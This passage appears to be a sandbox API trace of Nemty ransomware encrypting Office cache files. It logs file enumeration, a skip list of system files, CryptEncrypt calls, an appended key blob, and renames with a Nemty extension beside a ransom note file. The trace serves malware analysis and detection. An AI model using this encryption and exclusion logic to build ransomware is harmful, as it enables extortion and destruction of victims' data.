returned 0x63401b8 [0047.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.438] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.438] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=3186) returned 1 [0047.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc70) returned 0x6346d48 [0047.438] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.439] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0xc70, lpOverlapped=0x0) returned 1 [0047.440] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.440] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0xc70, lpOverlapped=0x0) returned 1 [0047.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.441] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=3186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc72 [0047.441] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.441] CloseHandle (hObject=0x3c8) returned 1 [0047.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.442] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml._nemty_kgobjgd_")) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.442] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.442] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.442] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.442] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.443] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.444] Sleep (dwMilliseconds=0x5) [0047.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcffca3b0, dwHighDateTime=0x1d561e7)) [0047.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcffca3b0, dwHighDateTime=0x1d561e7)) [0047.453] GetLastError () returned 0x0 [0047.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.453] GetLastError () returned 0x0 [0047.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.453] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.454] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="jgSEsgSx4A6zP/VvEI+MUa766LU+feWw5HayraEMIsMB1vNq0x/UHHySjADBUhjj\r\nDGgE76beVm0V4OZ9Y25fEPhOi5FKkygjFHQySWJ/MWkH2Usgwl1YTaKA/vJ8L7ch\r\n3N6gszI9yz1krUFVkBTfIubK77CYp9vJeXmThmLp15kxz2au6LpNPZLW8sDftPi+\r\nv6wvmgl46ezmlgz+U7YnzGTfCSIVWvtc2v5z6viLu04sjSnM3lXDa+3zr4rKawms\r\nr3vyjT3SC8c9p4ooAk/jlHH5M/Y3+9jnu+PsT7SAdIzDvGHh4Jd2CFW1tikUUjEL\r\nHNFohA0CJtHXVxGaxP1Img==\r\n", pcchString=0x653ef9c) returned 1 [0047.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.456] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=4207) returned 1 [0047.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1060) returned 0x6346d48 [0047.456] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.456] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x1060, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x1060, lpOverlapped=0x0) returned 1 [0047.458] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.458] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x1060, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x1060, lpOverlapped=0x0) returned 1 [0047.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.458] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x106f [0047.458] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.458] CloseHandle (hObject=0x3c8) returned 1 [0047.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.460] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.461] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfe73750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfe73750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfe73750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.461] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 